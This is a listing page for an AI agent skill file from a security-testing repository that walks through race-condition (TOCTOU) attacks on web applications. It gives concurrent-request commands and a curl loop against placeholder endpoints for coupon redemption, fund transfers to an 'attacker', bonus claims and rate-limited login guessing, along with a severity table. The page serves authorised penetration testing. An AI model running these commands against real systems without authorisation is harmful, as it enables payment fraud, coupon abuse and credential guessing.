Attack Race Condition
Testing & Qualityattack-race-conditionAttack Race Condition is an Agent Skill for testing & quality published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws
QUICK START
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-race-condition/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-race-condition, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
Race Condition / TOCTOU Attack
Objective
Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.
Testing Methodology
Phase 1: Identify Targets
State-changing operations vulnerable to race conditions:
- Coupon/promo code redemption
- Fund transfers / payments
- Vote/like systems
- Account creation (duplicate)
- Inventory purchase
- Password/email change
- File operations
Phase 2: Automated Race Testing
# Basic race test — 20 concurrent POST requests
attack_script race_tester "https://TARGET/api/redeem" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-d '{"coupon":"DISCOUNT50"}' \
-c 20 \
--json-output
# With delay (staggered)
attack_script race_tester "https://TARGET/api/transfer" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-d '{"to":"attacker","amount":100}' \
-c 50 \
--delay 5
Phase 3: Single-Packet Attack (Turbo Intruder)
For critical timing, send all requests in a single TCP packet:
# Using curl with parallel connections
for i in $(seq 1 20); do
curl -s -X POST https://TARGET/api/redeem \
-H "Authorization: Bearer TOKEN" \
-d '{"coupon":"DISCOUNT50"}' &
done
wait
Phase 4: Analysis
Look for:
- Multiple successful responses (coupon applied 2+ times)
- Balance inconsistencies
- Duplicate records created
- Response length/status variations indicating multiple successes
Phase 5: Limit Bypass Race
# Race on rate-limited endpoint
attack_script race_tester "https://TARGET/api/login" \
-m POST \
-d '{"email":"[email protected]","password":"guess1"}' \
-c 30
# Race on one-time action
attack_script race_tester "https://TARGET/api/claim-bonus" \
-m POST \
-H "Authorization:Bearer TOKEN" \
-c 20
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Financial: double-spend, duplicate transfer | Critical (P1) |
| Coupon/code reused multiple times | High (P2) |
| Rate limit bypassed via race | Medium (P3) |
| Duplicate record creation | Medium (P3) |
| Vote/like manipulation | Low (P4) |
Evidence Requirements
- Target endpoint and parameters
- Number of concurrent requests
- Multiple successful responses proving race succeeded
- Business impact (e.g., coupon applied twice, balance doubled)
- Status code distribution from race test
Tools
attack_script race_tester— async concurrent request sender